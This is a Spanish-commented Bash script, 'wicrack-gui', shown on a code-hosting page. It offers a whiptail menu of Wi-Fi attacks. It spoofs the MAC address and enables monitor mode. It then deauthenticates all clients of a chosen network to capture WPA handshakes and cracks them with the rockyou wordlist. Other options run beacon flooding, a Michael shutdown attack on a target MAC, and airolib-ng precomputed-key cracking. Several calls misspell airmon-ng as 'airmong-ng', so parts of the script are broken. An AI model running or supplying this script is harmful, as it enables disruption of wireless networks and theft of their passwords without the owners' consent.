-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwicrack-gui
260 lines (188 loc) · 8.19 KB
/
wicrack-gui
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
#!/bin/bash
#
#
# wicrack-gui
# Desarrollado para otra sección
# 1. General.
# 2. Definir Funciones.
# 3. Generar flujo para instrucciones [radiobuttons]
# 4. Fin
#
#
#--------ELEGIR EL TIPO DE ATAQUE A TRAVÉS DE UN RADIOBUTTON.
whiptail --title "[*]wicrack-gui --- shadowvmx[*]" --radiolist \
"ATAQUES POSIBLES" 10 78 4 \
1. "[*]Deauth-attack." ON \
2. "[*]Beacon Flood-Attack" OFF \
3. "[*]Michael Shutdown Exploitation-Attack" OFF \
4. "[*]PMKS-Death Generate-Attack." OFF 2> answer
thing=$(cat answer)
if [[ $thing = "" ]] ; then
rm -f answer 2> /dev/null
exit
fi
#----------SECCIÓN GENERAL, SE LLEVA A CABO UNA VEZ SE ELIGE EL TIPO DE ATAQUE.
whiptail --title "[+]WICRACK --- SHADOWVMX[+]" --msgbox "Vamos a empezar con todo el proceso de ataque." 8 78
whiptail --title "wicrack <--> shadowvmx" --msgbox "[+]LISTANDO INTERFACES -- SELECCIONA LA INALÁMBRICA[+]" 8 78
tput civis; interface=$(ifconfig -a | cut -d ' ' -f 1 | xargs | tr ' ' '\n' | tr -d ':' > iface)
counter=1; for interface in $(cat iface); do
let counter++
done
checker=0; while [ $checker -ne 1 ]; do
ifaces=$(whiptail --inputbox "Interfaces disponibles:\n\n$(ifconfig | cut -d ' ' -f 1 | xargs | tr -d ':' | tr ' ' '\n' | while read line; do echo "[*] $line"; done)" 13 78 --title "NETWORK INTERFACES" 3>&1 1>&2 2>&3)
for interface in $(cat iface); do
if [ "$ifaces" == "$interface" ]; then
checker=1
fi
done; if [ $checker -eq 0 ]; then whiptail --title "[*]ERROR[*]" --msgbox "[+]INEXISTENTE[+]" 8 78; fi
done
ifconfig $ifaces down &> /dev/null
sleep 1
macchanger -r $ifaces &> /dev/null
sleep 1
ifconfig $ifaces up &> /dev/null
pkill dhclient &> /dev/null
pkill wpa_supplicant &> /dev/null
sleep 1
tput civis; whiptail --title "wicrack <--> shadowvmx" --msgbox "[+]CONFIGURANDO $ifaces EN MODO MONITOR[+]" 8 78
tput civis; airmon-ng start $ifaces > /dev/null 2>&1; newifaces="${ifaces}mon"
rm iface 2>/dev/null
whiptail --title "[+]MODIFICANDO MAC --- ALEATORIA.[+]" --msgbox "RANDOMIZE" 8 78
#------------------------------------------------------------------------------
{
for ((i=0;i<100;i++)); do
sleep 0.01
echo $i
done
} | whiptail --gauge "PROCESANDO ... " 6 50 0
#------------------------------------------------------------------------------
whiptail --title "wicrack --- shadowvmx" --msgbox "[+]COMPLETADO CON ÉXITO[+]" 8 78
#-----------------------------------------------------------------------------------------------------------------------------
#DEFINICIÓN DE FUNCIONES
function decryptk(){
trap deauth EXIT
whiptail --title "[+]DE-AUTENTICATE ATTACK[+]" --msgbox "Vamos a abrir una terminal, presione ctrl_c para parar el sniffing." 8 78
airodump-ng $newifaces
}
function deauth(){
if [[ $? == 1 ]] ; then
whiptail --title "[+]ERROR, INTERFAZ NO POSIBLE.[+]" --msgbox "Quizás ha elegido la interfaz incorrecta." 8 78
else
rm -f captura* &> /dev/null
canal=$(whiptail --inputbox "Canal que desea utilizar." 8 39 --title "[+]DA-ATTACK[+]" 3>&1 1>&2 2>&3)
airmong-ng stop $newifaces &> /dev/null
sleep 1
airmong-ng start $ifaces $canal &> /dev/null
essid=$(whiptail --inputbox "ESSID que desea crackear." 8 39 --title "[+]set essid[+]" 3>&1 1>&2 2>&3)
whiptail --title "[*]EJECUTANDO, NO TOQUE NADA[*]" --msgbox "[+]ATTACKING-NETWORK[+]" 8 78
#xterm -e zsh -c "timeout 5 airodump-ng -c $canal -w captura --essid $essid $newifaces"
timeout 5 airodump-ng -c $canal --essid $essid $newifaces &> /dev/null &
xterm -e zsh -c "timeout 8 aireplay-ng -0 10 -e $essid -c FF:FF:FF:FF:FF:FF $newifaces"
#timeout 8 aireplay-ng -0 10 -e $essid -c FF:FF:FF:FF:FF:FF $newifaces &> /dev/null &
#xterm -e zsh -c "timeout 30 airodump-ng -c $canal -w captura --essid $essid $newifaces"
timeout 40 airodump-ng -c $canal -w captura --essid $essid $newifaces &> /dev/null &
{
for ((i=0;i<100;i++)); do
sleep 0.5
echo $i
done
} | whiptail --gauge "CAPTURANDO HANDSHAKES ... " 6 50 0
gunzip /usr/share/wordlists/rockyou.txt.gz &> /dev/null
whiptail --title "[+]FUERZA BRUTA.[+]" --msgbox "[+]No cancele...[+]" 8 78
sleep 1
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
airmon-ng stop $newifaces &> /dev/null
rm -f answer
fi
}
function bflood(){
trap end EXIT
whiptail --title "[+]BEACON FLOOD ATTACK[+]" --msgbox "[+]INICIANDO[+]" 8 78
whiptail --title "[+]DEPRECATED --- DÉJALO AL MENOS 1 MINUTO --- PARA CON CTRL_C" --msgbox "[*]DEPRECATED[*]" 8 78
xterm -e zsh -c "mdk4 $newifaces b -s 100"
}
function end(){
airmon-ng stop $newifaces &> /dev/null
}
function premichael(){
trap michael EXIT
whiptail --title "[+]MICHAEL SHUTDOWN-ATTACK[+]" --msgbox "[*]COPIAR LA MAC OBJETIVO[*] --- [*]PARA CON CTRL_C[*]" 8 78
airodump-ng $newifaces
}
function michael(){
if [[ $? == 1 ]] ; then
whiptail --title "[+]ERROR, INTERFAZ NO POSIBLE.[+]" --msgbox "Quizás ha elegido la interfaz incorrecta." 8 78
else
CAM=$(whiptail --inputbox "[*]INGRESE LA MAC[*]" 8 39 --title "[+]TRYING TO SHUT IT DOWN.[+]" 3>&1 1>&2 2>&3)
xterm -e zsh -c "mdk4 $newifaces m -t $CAM"
airmon-ng stop $newifaces &> /dev/null
rm -f answer 2> /dev/null
fi
}
function precomputado(){
trap ends EXIT
whiptail --title "[+]PRECOM-SELECTED[+]" --msgbox "[*]SIGA LAS INSTRUCCIONES SINO IRÁ MÁS LENTO EL ATAQUE.[*]" 8 78
ls -l passwords-airolib &> /dev/null
if [[ $? = 0 ]] ; then
whiptail --title "[+]RECIBIENDO DATOS[+]" --msgbox "[*]LIBRERÍA DETECTADA[*]" 8 78
else
airolib-ng passwords-airolib --import passwd /usr/share/wordlists/rockyou.txt
fi
ls -l essid.lst &> /dev/null
if [[ $? = 0 ]] ; then
whiptail --title "[+]SEGUIMOS RECIBIENDO DATOS[+]" --msgbox "[*]LIBRERÍA DETECTADA[*]" 8 78
else
echo "$essid" > essid.lst
airolib-ng passwords-airolib --import essid essid.lst
fi
whiptail --title "[+]GENERANDO HASHES[+]" --msgbox "[*]Estamos precomputando, puede tardar bastante según diccionario, puede pararlo cuando quiera con el peso de perder potencia más adelante.[*]" 8 78
xterm -e zsh -c "airolib-ng passwords-airolib --batch"
whiptail --title "[+]CIERRE CUANDO ESTÉ PREPARADO[+]" --msgbox "[*]ESTAMOS LISTOS PARA CARGAR.[*]" 8 78
ends
}
function killcomputo(){
whiptail --title "[+]CIERRE CUANDO SEPA CANAL Y ESSID[+]" --msgbox "[*]EXPLOTACIÓN CLAVES PRECOMPUTADAS[*]" 8 78
xterm -e zsh -c "airodump-ng $newifaces"
if [[ $? == 1 ]] ; then
whiptail --title "[+]ERROR, INTERFAZ NO POSIBLE.[+]" --msgbox "Quizás ha elegido la interfaz incorrecta." 8 78
else
canal=$(whiptail --inputbox "Canal que desea utilizar." 8 39 --title "[+]DA-ATTACK[+]" 3>&1 1>&2 2>&3)
airmong-ng stop $newifaces &> /dev/null
sleep 1
airmong-ng start $ifaces $canal &> /dev/null
essid=$(whiptail --inputbox "ESSID que desea crackear." 8 39 --title "[+]set essid[+]" 3>&1 1>&2 2>&3)
whiptail --title "[*]EJECUTANDO, NO TOQUE NADA[*]" --msgbox "[+]ATTACKING-NETWORK[+]" 8 78
#xterm -e zsh -c "timeout 5 airodump-ng -c $canal -w captura --essid $essid $newifaces"
timeout 5 airodump-ng -c $canal --essid $essid $newifaces &> /dev/null &
xterm -e zsh -c "timeout 8 aireplay-ng -0 10 -e $essid -c FF:FF:FF:FF:FF:FF $newifaces"
#timeout 8 aireplay-ng -0 10 -e $essid -c FF:FF:FF:FF:FF:FF $newifaces &> /dev/null &
#xterm -e zsh -c "timeout 30 airodump-ng -c $canal -w captura --essid $essid $newifaces"
timeout 30 airodump-ng -c $canal -w captura --essid $essid $newifaces &> /dev/null &
gunzip /usr/share/wordlists/rockyou.txt.gz &> /dev/null
{
for ((i=0;i<100;i++)); do
sleep 0.2
echo $i
done
} | whiptail --gauge "PROCESANDO ... " 6 50 0
precomputado
fi
}
function ends(){
aircrack-ng -w passwords-airolib captura-01.cap
airmong-ng stop $newifaces
rm -f answer 2> /dev/null
}
#LLAMADA A LAS FUNCIONES CON LA CONDICIÓN DEL RADIOBUTTON INICIAL
thing=$(cat answer)
if [[ $thing = "1." ]] ; then
decryptk
elif [[ $thing = "2." ]] ; then
bflood
elif [[ $thing = "3." ]] ; then
premichael
elif [[ $thing = "4." ]] ; then
killcomputo
else
whiptail --title "[*]NO HA SELECCIONADO NINGÚN ATAQUE[*]" --msgbox "[+]EXITING[+]" 8 78
fi